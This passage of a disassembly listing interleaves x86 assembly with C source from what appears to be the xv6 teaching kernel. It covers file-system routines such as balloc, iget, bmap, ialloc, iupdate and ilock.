xor %eax,%eax 8010127b: eb 2f jmp 801012ac <balloc+0x7c> 8010127d: 8d 76 00 lea 0x0(%esi),%esi m = 1 << (bi % 8); 80101280: 89 c1 mov %eax,%ecx 80101282: bb 01 00 00 00 mov $0x1,%ebx if((bp->data[bi/8] & m) == 0){ // Is block free? 80101287: 8b 55 e4 mov -0x1c(%ebp),%edx m = 1 << (bi % 8); 8010128a: 83 e1 07 and $0x7,%ecx 8010128d: d3 e3 shl %cl,%ebx if((bp->data[bi/8] & m) == 0){ // Is block free? 8010128f: 89 c1 mov %eax,%ecx 80101291: c1 f9 03 sar $0x3,%ecx 80101294: 0f b6 7c 0a 5c movzbl 0x5c(%edx,%ecx,1),%edi 80101299: 89 fa mov %edi,%edx 8010129b: 85 df test %ebx,%edi 8010129d: 74 41 je 801012e0 <balloc+0xb0> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 8010129f: 83 c0 01 add $0x1,%eax 801012a2: 83 c6 01 add $0x1,%esi 801012a5: 3d 00 10 00 00 cmp $0x1000,%eax 801012aa: 74 05 je 801012b1 <balloc+0x81> 801012ac: 39 75 e0 cmp %esi,-0x20(%ebp) 801012af: 77 cf ja 80101280 <balloc+0x50> brelse(bp); 801012b1: 83 ec 0c sub $0xc,%esp 801012b4: ff 75 e4 pushl -0x1c(%ebp) 801012b7: e8 34 ef ff ff call 801001f0 <brelse> for(b = 0; b < sb.size; b += BPB){ 801012bc: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp) 801012c3: 83 c4 10 add $0x10,%esp 801012c6: 8b 45 dc mov -0x24(%ebp),%eax 801012c9: 39 05 c0 19 11 80 cmp %eax,0x801119c0 801012cf: 77 80 ja 80101251 <balloc+0x21> panic("balloc: out of blocks"); 801012d1: 83 ec 0c sub $0xc,%esp 801012d4: 68 b2 78 10 80 push $0x801078b2 801012d9: e8 b2 f0 ff ff call 80100390 <panic> 801012de: 66 90 xchg %ax,%ax bp->data[bi/8] |= m; // Mark block in use. 801012e0: 8b 7d e4 mov -0x1c(%ebp),%edi log_write(bp); 801012e3: 83 ec 0c sub $0xc,%esp bp->data[bi/8] |= m; // Mark block in use. 801012e6: 09 da or %ebx,%edx 801012e8: 88 54 0f 5c mov %dl,0x5c(%edi,%ecx,1) log_write(bp); 801012ec: 57 push %edi 801012ed: e8 1e 1c 00 00 call 80102f10 <log_write> brelse(bp); 801012f2: 89 3c 24 mov %edi,(%esp) 801012f5: e8 f6 ee ff ff call 801001f0 <brelse> bp = bread(dev, bno); 801012fa: 58 pop %eax 801012fb: 5a pop %edx 801012fc: 56 push %esi 801012fd: ff 75 d8 pushl -0x28(%ebp) 80101300: e8 cb ed ff ff call 801000d0 <bread> memset(bp->data, 0, BSIZE); 80101305: 83 c4 0c add $0xc,%esp bp = bread(dev, bno); 80101308: 89 c3 mov %eax,%ebx memset(bp->data, 0, BSIZE); 8010130a: 8d 40 5c lea 0x5c(%eax),%eax 8010130d: 68 00 02 00 00 push $0x200 80101312: 6a 00 push $0x0 80101314: 50 push %eax 80101315: e8 36 39 00 00 call 80104c50 <memset> log_write(bp); 8010131a: 89 1c 24 mov %ebx,(%esp) 8010131d: e8 ee 1b 00 00 call 80102f10 <log_write> brelse(bp); 80101322: 89 1c 24 mov %ebx,(%esp) 80101325: e8 c6 ee ff ff call 801001f0 <brelse> } 8010132a: 8d 65 f4 lea -0xc(%ebp),%esp 8010132d: 89 f0 mov %esi,%eax 8010132f: 5b pop %ebx 80101330: 5e pop %esi 80101331: 5f pop %edi 80101332: 5d pop %ebp 80101333: c3 ret 80101334: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010133b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010133f: 90 nop 80101340 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101340: 55 push %ebp 80101341: 89 e5 mov %esp,%ebp 80101343: 57 push %edi 80101344: 89 c7 mov %eax,%edi 80101346: 56 push %esi struct inode *ip, *empty; acquire(&icache.lock); // Is the inode already cached? empty = 0; 80101347: 31 f6 xor %esi,%esi { 80101349: 53 push %ebx for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010134a: bb 14 1a 11 80 mov $0x80111a14,%ebx { 8010134f: 83 ec 28 sub $0x28,%esp 80101352: 89 55 e4 mov %edx,-0x1c(%ebp) acquire(&icache.lock); 80101355: 68 e0 19 11 80 push $0x801119e0 8010135a: e8 e1 37 00 00 call 80104b40 <acquire> for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010135f: 8b 55 e4 mov -0x1c(%ebp),%edx acquire(&icache.lock); 80101362: 83 c4 10 add $0x10,%esp 80101365: eb 1b jmp 80101382 <iget+0x42> 80101367: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010136e: 66 90 xchg %ax,%ax if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 80101370: 39 3b cmp %edi,(%ebx) 80101372: 74 6c je 801013e0 <iget+0xa0> 80101374: 81 c3 90 00 00 00 add $0x90,%ebx for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010137a: 81 fb 34 36 11 80 cmp $0x80113634,%ebx 80101380: 73 26 jae 801013a8 <iget+0x68> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 80101382: 8b 4b 08 mov 0x8(%ebx),%ecx 80101385: 85 c9 test %ecx,%ecx 80101387: 7f e7 jg 80101370 <iget+0x30> ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 80101389: 85 f6 test %esi,%esi 8010138b: 75 e7 jne 80101374 <iget+0x34> 8010138d: 89 d8 mov %ebx,%eax 8010138f: 81 c3 90 00 00 00 add $0x90,%ebx 80101395: 85 c9 test %ecx,%ecx 80101397: 75 6e jne 80101407 <iget+0xc7> 80101399: 89 c6 mov %eax,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010139b: 81 fb 34 36 11 80 cmp $0x80113634,%ebx 801013a1: 72 df jb 80101382 <iget+0x42> 801013a3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801013a7: 90 nop empty = ip; } // Recycle an inode cache entry. if(empty == 0) 801013a8: 85 f6 test %esi,%esi 801013aa: 74 73 je 8010141f <iget+0xdf> ip = empty; ip->dev = dev; ip->inum = inum; ip->ref = 1; ip->valid = 0; release(&icache.lock); 801013ac: 83 ec 0c sub $0xc,%esp ip->dev = dev; 801013af: 89 3e mov %edi,(%esi) ip->inum = inum; 801013b1: 89 56 04 mov %edx,0x4(%esi) ip->ref = 1; 801013b4: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi) ip->valid = 0; 801013bb: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) release(&icache.lock); 801013c2: 68 e0 19 11 80 push $0x801119e0 801013c7: e8 34 38 00 00 call 80104c00 <release> return ip; 801013cc: 83 c4 10 add $0x10,%esp } 801013cf: 8d 65 f4 lea -0xc(%ebp),%esp 801013d2: 89 f0 mov %esi,%eax 801013d4: 5b pop %ebx 801013d5: 5e pop %esi 801013d6: 5f pop %edi 801013d7: 5d pop %ebp 801013d8: c3 ret 801013d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 801013e0: 39 53 04 cmp %edx,0x4(%ebx) 801013e3: 75 8f jne 80101374 <iget+0x34> release(&icache.lock); 801013e5: 83 ec 0c sub $0xc,%esp ip->ref++; 801013e8: 83 c1 01 add $0x1,%ecx return ip; 801013eb: 89 de mov %ebx,%esi release(&icache.lock); 801013ed: 68 e0 19 11 80 push $0x801119e0 ip->ref++; 801013f2: 89 4b 08 mov %ecx,0x8(%ebx) release(&icache.lock); 801013f5: e8 06 38 00 00 call 80104c00 <release> return ip; 801013fa: 83 c4 10 add $0x10,%esp } 801013fd: 8d 65 f4 lea -0xc(%ebp),%esp 80101400: 89 f0 mov %esi,%eax 80101402: 5b pop %ebx 80101403: 5e pop %esi 80101404: 5f pop %edi 80101405: 5d pop %ebp 80101406: c3 ret for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 80101407: 81 fb 34 36 11 80 cmp $0x80113634,%ebx 8010140d: 73 10 jae 8010141f <iget+0xdf> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 8010140f: 8b 4b 08 mov 0x8(%ebx),%ecx 80101412: 85 c9 test %ecx,%ecx 80101414: 0f 8f 56 ff ff ff jg 80101370 <iget+0x30> 8010141a: e9 6e ff ff ff jmp 8010138d <iget+0x4d> panic("iget: no inodes"); 8010141f: 83 ec 0c sub $0xc,%esp 80101422: 68 c8 78 10 80 push $0x801078c8 80101427: e8 64 ef ff ff call 80100390 <panic> 8010142c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101430 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 80101430: 55 push %ebp 80101431: 89 e5 mov %esp,%ebp 80101433: 57 push %edi 80101434: 56 push %esi 80101435: 89 c6 mov %eax,%esi 80101437: 53 push %ebx 80101438: 83 ec 1c sub $0x1c,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 8010143b: 83 fa 0b cmp $0xb,%edx 8010143e: 0f 86 84 00 00 00 jbe 801014c8 <bmap+0x98> if((addr = ip->addrs[bn]) == 0) ip->addrs[bn] = addr = balloc(ip->dev); return addr; } bn -= NDIRECT; 80101444: 8d 5a f4 lea -0xc(%edx),%ebx if(bn < NINDIRECT){ 80101447: 83 fb 7f cmp $0x7f,%ebx 8010144a: 0f 87 98 00 00 00 ja 801014e8 <bmap+0xb8> // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) 80101450: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 80101456: 8b 16 mov (%esi),%edx 80101458: 85 c0 test %eax,%eax 8010145a: 74 54 je 801014b0 <bmap+0x80> ip->addrs[NDIRECT] = addr = balloc(ip->dev); bp = bread(ip->dev, addr); 8010145c: 83 ec 08 sub $0x8,%esp 8010145f: 50 push %eax 80101460: 52 push %edx 80101461: e8 6a ec ff ff call 801000d0 <bread> a = (uint*)bp->data; if((addr = a[bn]) == 0){ 80101466: 83 c4 10 add $0x10,%esp 80101469: 8d 54 98 5c lea 0x5c(%eax,%ebx,4),%edx bp = bread(ip->dev, addr); 8010146d: 89 c7 mov %eax,%edi if((addr = a[bn]) == 0){ 8010146f: 8b 1a mov (%edx),%ebx 80101471: 85 db test %ebx,%ebx 80101473: 74 1b je 80101490 <bmap+0x60> a[bn] = addr = balloc(ip->dev); log_write(bp); } brelse(bp); 80101475: 83 ec 0c sub $0xc,%esp 80101478: 57 push %edi 80101479: e8 72 ed ff ff call 801001f0 <brelse> return addr; 8010147e: 83 c4 10 add $0x10,%esp } panic("bmap: out of range"); } 80101481: 8d 65 f4 lea -0xc(%ebp),%esp 80101484: 89 d8 mov %ebx,%eax 80101486: 5b pop %ebx 80101487: 5e pop %esi 80101488: 5f pop %edi 80101489: 5d pop %ebp 8010148a: c3 ret 8010148b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010148f: 90 nop a[bn] = addr = balloc(ip->dev); 80101490: 8b 06 mov (%esi),%eax 80101492: 89 55 e4 mov %edx,-0x1c(%ebp) 80101495: e8 96 fd ff ff call 80101230 <balloc> 8010149a: 8b 55 e4 mov -0x1c(%ebp),%edx log_write(bp); 8010149d: 83 ec 0c sub $0xc,%esp a[bn] = addr = balloc(ip->dev); 801014a0: 89 c3 mov %eax,%ebx 801014a2: 89 02 mov %eax,(%edx) log_write(bp); 801014a4: 57 push %edi 801014a5: e8 66 1a 00 00 call 80102f10 <log_write> 801014aa: 83 c4 10 add $0x10,%esp 801014ad: eb c6 jmp 80101475 <bmap+0x45> 801014af: 90 nop ip->addrs[NDIRECT] = addr = balloc(ip->dev); 801014b0: 89 d0 mov %edx,%eax 801014b2: e8 79 fd ff ff call 80101230 <balloc> 801014b7: 8b 16 mov (%esi),%edx 801014b9: 89 86 8c 00 00 00 mov %eax,0x8c(%esi) 801014bf: eb 9b jmp 8010145c <bmap+0x2c> 801014c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if((addr = ip->addrs[bn]) == 0) 801014c8: 8d 3c 90 lea (%eax,%edx,4),%edi 801014cb: 8b 5f 5c mov 0x5c(%edi),%ebx 801014ce: 85 db test %ebx,%ebx 801014d0: 75 af jne 80101481 <bmap+0x51> ip->addrs[bn] = addr = balloc(ip->dev); 801014d2: 8b 00 mov (%eax),%eax 801014d4: e8 57 fd ff ff call 80101230 <balloc> 801014d9: 89 47 5c mov %eax,0x5c(%edi) 801014dc: 89 c3 mov %eax,%ebx } 801014de: 8d 65 f4 lea -0xc(%ebp),%esp 801014e1: 89 d8 mov %ebx,%eax 801014e3: 5b pop %ebx 801014e4: 5e pop %esi 801014e5: 5f pop %edi 801014e6: 5d pop %ebp 801014e7: c3 ret panic("bmap: out of range"); 801014e8: 83 ec 0c sub $0xc,%esp 801014eb: 68 d8 78 10 80 push $0x801078d8 801014f0: e8 9b ee ff ff call 80100390 <panic> 801014f5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801014fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101500 <readsb>: { 80101500: f3 0f 1e fb endbr32 80101504: 55 push %ebp 80101505: 89 e5 mov %esp,%ebp 80101507: 56 push %esi 80101508: 53 push %ebx 80101509: 8b 75 0c mov 0xc(%ebp),%esi bp = bread(dev, 1); 8010150c: 83 ec 08 sub $0x8,%esp 8010150f: 6a 01 push $0x1 80101511: ff 75 08 pushl 0x8(%ebp) 80101514: e8 b7 eb ff ff call 801000d0 <bread> memmove(sb, bp->data, sizeof(*sb)); 80101519: 83 c4 0c add $0xc,%esp bp = bread(dev, 1); 8010151c: 89 c3 mov %eax,%ebx memmove(sb, bp->data, sizeof(*sb)); 8010151e: 8d 40 5c lea 0x5c(%eax),%eax 80101521: 6a 1c push $0x1c 80101523: 50 push %eax 80101524: 56 push %esi 80101525: e8 c6 37 00 00 call 80104cf0 <memmove> brelse(bp); 8010152a: 89 5d 08 mov %ebx,0x8(%ebp) 8010152d: 83 c4 10 add $0x10,%esp } 80101530: 8d 65 f8 lea -0x8(%ebp),%esp 80101533: 5b pop %ebx 80101534: 5e pop %esi 80101535: 5d pop %ebp brelse(bp); 80101536: e9 b5 ec ff ff jmp 801001f0 <brelse> 8010153b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010153f: 90 nop 80101540 <iinit>: { 80101540: f3 0f 1e fb endbr32 80101544: 55 push %ebp 80101545: 89 e5 mov %esp,%ebp 80101547: 53 push %ebx 80101548: bb 20 1a 11 80 mov $0x80111a20,%ebx 8010154d: 83 ec 0c sub $0xc,%esp initlock(&icache.lock, "icache"); 80101550: 68 eb 78 10 80 push $0x801078eb 80101555: 68 e0 19 11 80 push $0x801119e0 8010155a: e8 61 34 00 00 call 801049c0 <initlock> for(i = 0; i < NINODE; i++) { 8010155f: 83 c4 10 add $0x10,%esp 80101562: 8d b6 00 00 00 00 lea 0x0(%esi),%esi initsleeplock(&icache.inode[i].lock, "inode"); 80101568: 83 ec 08 sub $0x8,%esp 8010156b: 68 f2 78 10 80 push $0x801078f2 80101570: 53 push %ebx 80101571: 81 c3 90 00 00 00 add $0x90,%ebx 80101577: e8 04 33 00 00 call 80104880 <initsleeplock> for(i = 0; i < NINODE; i++) { 8010157c: 83 c4 10 add $0x10,%esp 8010157f: 81 fb 40 36 11 80 cmp $0x80113640,%ebx 80101585: 75 e1 jne 80101568 <iinit+0x28> readsb(dev, &sb); 80101587: 83 ec 08 sub $0x8,%esp 8010158a: 68 c0 19 11 80 push $0x801119c0 8010158f: ff 75 08 pushl 0x8(%ebp) 80101592: e8 69 ff ff ff call 80101500 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\ 80101597: ff 35 d8 19 11 80 pushl 0x801119d8 8010159d: ff 35 d4 19 11 80 pushl 0x801119d4 801015a3: ff 35 d0 19 11 80 pushl 0x801119d0 801015a9: ff 35 cc 19 11 80 pushl 0x801119cc 801015af: ff 35 c8 19 11 80 pushl 0x801119c8 801015b5: ff 35 c4 19 11 80 pushl 0x801119c4 801015bb: ff 35 c0 19 11 80 pushl 0x801119c0 801015c1: 68 58 79 10 80 push $0x80107958 801015c6: e8 e5 f0 ff ff call 801006b0 <cprintf> } 801015cb: 8b 5d fc mov -0x4(%ebp),%ebx 801015ce: 83 c4 30 add $0x30,%esp 801015d1: c9 leave 801015d2: c3 ret 801015d3: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801015da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801015e0 <ialloc>: { 801015e0: f3 0f 1e fb endbr32 801015e4: 55 push %ebp 801015e5: 89 e5 mov %esp,%ebp 801015e7: 57 push %edi 801015e8: 56 push %esi 801015e9: 53 push %ebx 801015ea: 83 ec 1c sub $0x1c,%esp 801015ed: 8b 45 0c mov 0xc(%ebp),%eax for(inum = 1; inum < sb.ninodes; inum++){ 801015f0: 83 3d c8 19 11 80 01 cmpl $0x1,0x801119c8 { 801015f7: 8b 75 08 mov 0x8(%ebp),%esi 801015fa: 89 45 e4 mov %eax,-0x1c(%ebp) for(inum = 1; inum < sb.ninodes; inum++){ 801015fd: 0f 86 8d 00 00 00 jbe 80101690 <ialloc+0xb0> 80101603: bf 01 00 00 00 mov $0x1,%edi 80101608: eb 1d jmp 80101627 <ialloc+0x47> 8010160a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi brelse(bp); 80101610: 83 ec 0c sub $0xc,%esp for(inum = 1; inum < sb.ninodes; inum++){ 80101613: 83 c7 01 add $0x1,%edi brelse(bp); 80101616: 53 push %ebx 80101617: e8 d4 eb ff ff call 801001f0 <brelse> for(inum = 1; inum < sb.ninodes; inum++){ 8010161c: 83 c4 10 add $0x10,%esp 8010161f: 3b 3d c8 19 11 80 cmp 0x801119c8,%edi 80101625: 73 69 jae 80101690 <ialloc+0xb0> bp = bread(dev, IBLOCK(inum, sb)); 80101627: 89 f8 mov %edi,%eax 80101629: 83 ec 08 sub $0x8,%esp 8010162c: c1 e8 03 shr $0x3,%eax 8010162f: 03 05 d4 19 11 80 add 0x801119d4,%eax 80101635: 50 push %eax 80101636: 56 push %esi 80101637: e8 94 ea ff ff call 801000d0 <bread> if(dip->type == 0){ // a free inode 8010163c: 83 c4 10 add $0x10,%esp bp = bread(dev, IBLOCK(inum, sb)); 8010163f: 89 c3 mov %eax,%ebx dip = (struct dinode*)bp->data + inum%IPB; 80101641: 89 f8 mov %edi,%eax 80101643: 83 e0 07 and $0x7,%eax 80101646: c1 e0 06 shl $0x6,%eax 80101649: 8d 4c 03 5c lea 0x5c(%ebx,%eax,1),%ecx if(dip->type == 0){ // a free inode 8010164d: 66 83 39 00 cmpw $0x0,(%ecx) 80101651: 75 bd jne 80101610 <ialloc+0x30> memset(dip, 0, sizeof(*dip)); 80101653: 83 ec 04 sub $0x4,%esp 80101656: 89 4d e0 mov %ecx,-0x20(%ebp) 80101659: 6a 40 push $0x40 8010165b: 6a 00 push $0x0 8010165d: 51 push %ecx 8010165e: e8 ed 35 00 00 call 80104c50 <memset> dip->type = type; 80101663: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax 80101667: 8b 4d e0 mov -0x20(%ebp),%ecx 8010166a: 66 89 01 mov %ax,(%ecx) log_write(bp); // mark it allocated on the disk 8010166d: 89 1c 24 mov %ebx,(%esp) 80101670: e8 9b 18 00 00 call 80102f10 <log_write> brelse(bp); 80101675: 89 1c 24 mov %ebx,(%esp) 80101678: e8 73 eb ff ff call 801001f0 <brelse> return iget(dev, inum); 8010167d: 83 c4 10 add $0x10,%esp } 80101680: 8d 65 f4 lea -0xc(%ebp),%esp return iget(dev, inum); 80101683: 89 fa mov %edi,%edx } 80101685: 5b pop %ebx return iget(dev, inum); 80101686: 89 f0 mov %esi,%eax } 80101688: 5e pop %esi 80101689: 5f pop %edi 8010168a: 5d pop %ebp return iget(dev, inum); 8010168b: e9 b0 fc ff ff jmp 80101340 <iget> panic("ialloc: no inodes"); 80101690: 83 ec 0c sub $0xc,%esp 80101693: 68 f8 78 10 80 push $0x801078f8 80101698: e8 f3 ec ff ff call 80100390 <panic> 8010169d: 8d 76 00 lea 0x0(%esi),%esi 801016a0 <iupdate>: { 801016a0: f3 0f 1e fb endbr32 801016a4: 55 push %ebp 801016a5: 89 e5 mov %esp,%ebp 801016a7: 56 push %esi 801016a8: 53 push %ebx 801016a9: 8b 5d 08 mov 0x8(%ebp),%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016ac: 8b 43 04 mov 0x4(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801016af: 83 c3 5c add $0x5c,%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016b2: 83 ec 08 sub $0x8,%esp 801016b5: c1 e8 03 shr $0x3,%eax 801016b8: 03 05 d4 19 11 80 add 0x801119d4,%eax 801016be: 50 push %eax 801016bf: ff 73 a4 pushl -0x5c(%ebx) 801016c2: e8 09 ea ff ff call 801000d0 <bread> dip->type = ip->type; 801016c7: 0f b7 53 f4 movzwl -0xc(%ebx),%edx memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801016cb: 83 c4 0c add $0xc,%esp bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016ce: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801016d0: 8b 43 a8 mov -0x58(%ebx),%eax 801016d3: 83 e0 07 and $0x7,%eax 801016d6: c1 e0 06 shl $0x6,%eax 801016d9: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax dip->type = ip->type; 801016dd: 66 89 10 mov %dx,(%eax) dip->major = ip->major; 801016e0: 0f b7 53 f6 movzwl -0xa(%ebx),%edx memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801016e4: 83 c0 0c add $0xc,%eax dip->major = ip->major; 801016e7: 66 89 50 f6 mov %dx,-0xa(%eax) dip->minor = ip->minor; 801016eb: 0f b7 53 f8 movzwl -0x8(%ebx),%edx 801016ef: 66 89 50 f8 mov %dx,-0x8(%eax) dip->nlink = ip->nlink; 801016f3: 0f b7 53 fa movzwl -0x6(%ebx),%edx 801016f7: 66 89 50 fa mov %dx,-0x6(%eax) dip->size = ip->size; 801016fb: 8b 53 fc mov -0x4(%ebx),%edx 801016fe: 89 50 fc mov %edx,-0x4(%eax) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101701: 6a 34 push $0x34 80101703: 53 push %ebx 80101704: 50 push %eax 80101705: e8 e6 35 00 00 call 80104cf0 <memmove> log_write(bp); 8010170a: 89 34 24 mov %esi,(%esp) 8010170d: e8 fe 17 00 00 call 80102f10 <log_write> brelse(bp); 80101712: 89 75 08 mov %esi,0x8(%ebp) 80101715: 83 c4 10 add $0x10,%esp } 80101718: 8d 65 f8 lea -0x8(%ebp),%esp 8010171b: 5b pop %ebx 8010171c: 5e pop %esi 8010171d: 5d pop %ebp brelse(bp); 8010171e: e9 cd ea ff ff jmp 801001f0 <brelse> 80101723: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010172a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101730 <idup>: { 80101730: f3 0f 1e fb endbr32 80101734: 55 push %ebp 80101735: 89 e5 mov %esp,%ebp 80101737: 53 push %ebx 80101738: 83 ec 10 sub $0x10,%esp 8010173b: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&icache.lock); 8010173e: 68 e0 19 11 80 push $0x801119e0 80101743: e8 f8 33 00 00 call 80104b40 <acquire> ip->ref++; 80101748: 83 43 08 01 addl $0x1,0x8(%ebx) release(&icache.lock); 8010174c: c7 04 24 e0 19 11 80 movl $0x801119e0,(%esp) 80101753: e8 a8 34 00 00 call 80104c00 <release> } 80101758: 89 d8 mov %ebx,%eax 8010175a: 8b 5d fc mov -0x4(%ebp),%ebx 8010175d: c9 leave 8010175e: c3 ret 8010175f: 90 nop 80101760 <ilock>: { 80101760: f3 0f 1e fb endbr32 80101764: 55 push %ebp 80101765: 89 e5 mov %esp,%ebp 80101767: 56 push %esi 80101768: 53 push %ebx 80101769: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || ip->ref < 1) 8010176c: 85 db test %ebx,%ebx 8010176e: 0f 84 b3 00 00 00 je 80101827 <ilock+0xc7> 80101774: 8b 53 08 mov 0x8(%ebx),%edx 80101777: 85 d2 test %edx,%edx 80101779: 0f 8e a8 00 00 00 jle 80101827 <ilock+0xc7> acquiresleep(&ip->lock); 8010177f: 83 ec 0c sub $0xc,%esp 80101782: 8d 43 0c lea 0xc(%ebx),%eax 80101785: 50 push %eax 80101786: e8 35 31 00 00 call 801048c0 <acquiresleep> if(ip->valid == 0){ 8010178b: 8b 43 4c mov 0x4c(%ebx),%eax 8010178e: 83 c4 10 add $0x10,%esp 80101791: 85 c0 test %eax,%eax 80101793: 74 0b je 801017a0 <ilock+0x40> } 80101795: 8d 65 f8 lea -0x8(%ebp),%esp 80101798: 5b pop %ebx 80101799: 5e pop %esi 8010179a: 5d pop %ebp 8010179b: c3 ret 8010179c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801017a0: 8b 43 04 mov 0x4(%ebx),%eax 801017a3: 83 ec 08 sub $0x8,%esp 801017a6: c1 e8 03 shr $0x3,%eax 801017a9: 03 05 d4 19 11 80 add 0x801119d4,%eax 801017af: 50 push %eax 801017b0: ff 33 pushl (%ebx) 801017b2: e8 19 e9 ff ff call 801000d0 <bread> memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801017b7: 83 c4 0c add $0xc,%esp bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801017ba: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801017bc: 8b 43 04 mov 0x4(%ebx),%eax 801017bf: 83 e0 07 and $0x7,%eax 801017c2: c1 e0 06 shl $0x6,%eax 801017c5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax ip->type = dip->type; 801017c9: 0f b7 10 movzwl (%eax),%edx memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801017cc: 83 c0 0c add $0xc,%eax ip->type = dip->type; 801017cf: 66 89 53 50 mov %dx,0x50(%ebx) ip->major = dip->major; 801017d3: 0f b7 50 f6 movzwl -0xa(%eax),%edx 801017d7: 66 89 53 52 mov %dx,0x52(%ebx) ip->minor = dip->minor; 801017db: 0f b7 50 f8 movzwl -0x8(%eax),%edx 801017df: 66 89 53 54 mov %dx,0x54(%ebx) ip->nlink = dip->nlink; 801017e3: 0f b7 50 fa movzwl -0x6(%eax),%edx 801017e7: 66 89 53 56 mov %dx,0x56(%ebx) ip->size = dip->size; 801017eb: 8b 50 fc mov -0x4(%eax),%edx 801017ee: 89 53 58 mov %edx,0x58(%ebx) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801017f1: 6a 34 push $0x34 801017f3: 50 push %eax 801017f4: 8d 43 5c lea 0x5c(%ebx),%eax 801017f7: 50 push %eax 801017f8: e8 f3 34 00 00 call 80104cf0 <memmove> brelse(bp); 801017fd: 89 34 24 mov %esi,(%esp) 80101800: e8 eb e9 ff ff call 801001f0 <brelse> if(ip->type == 0) 80101805: 83 c4 10 add $0x10,%esp 80101808: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx) ip->valid = 1; 8010180d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) if(ip->type == 0) 80101814: 0f 85 7b ff ff ff jne 80101795 <ilock+0x35> panic("ilock: no type"); 8010181a: 83 ec 0c sub $0xc,%esp 8010181d: 68 10 79 10 80 push $0x80107910 80101822: e8 69 eb ff ff call 80100390 <panic> panic("ilock"); 80101827: 83 ec 0c sub $0xc,%esp 8010182a: 68 0a 79 10 80 push $0x8010790a 8010182f: e8 5c eb ff ff call 80100390 <panic> 80101834: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010183b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010183f: 90 nop 80101840 <iunlock>: { 80101840: f3 0f 1e fb endbr32 80101844: 55 push %ebp 80101845: 89 e5 mov %esp,%ebp 80101847: 56 push %esi 80101848: 53 push %ebx 80101849: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 8010184c: 85 db test %ebx,%ebx 8010184e: 74 28 je 80101878 <iunlock+0x38> 80101850: 83 ec 0c sub $0xc,%esp 80101853: 8d 73 0c lea 0xc(%ebx),%esi 80101856: 56 push %esi 80101857: e8 04 31 00 00 call 80104960 <holdingsleep> 8010185c: 83 c4 10 add $0x10,%esp 8010185f: 85 c0 test %eax,%eax 80101861: 74 15 je 80101878 <iunlock+0x38> 80101863: 8b 43 08 mov 0x8(%ebx),%eax 80101866: 85 c0 test %eax,%eax 80101868: 7e 0e jle 80101878 <iunlock+0x38> releasesleep(&ip->lock); 8010186a: 89 75 08 mov %esi,0x8(%ebp) } 8010186d: 8d 65 f8 lea -0x8(%ebp),%esp 80101870: 5b pop %ebx 80101871: 5e pop %esi 80101872: 5d pop %ebp releasesleep(&ip->lock); 80101873: e9 a8 30 00 00 jmp 80104920 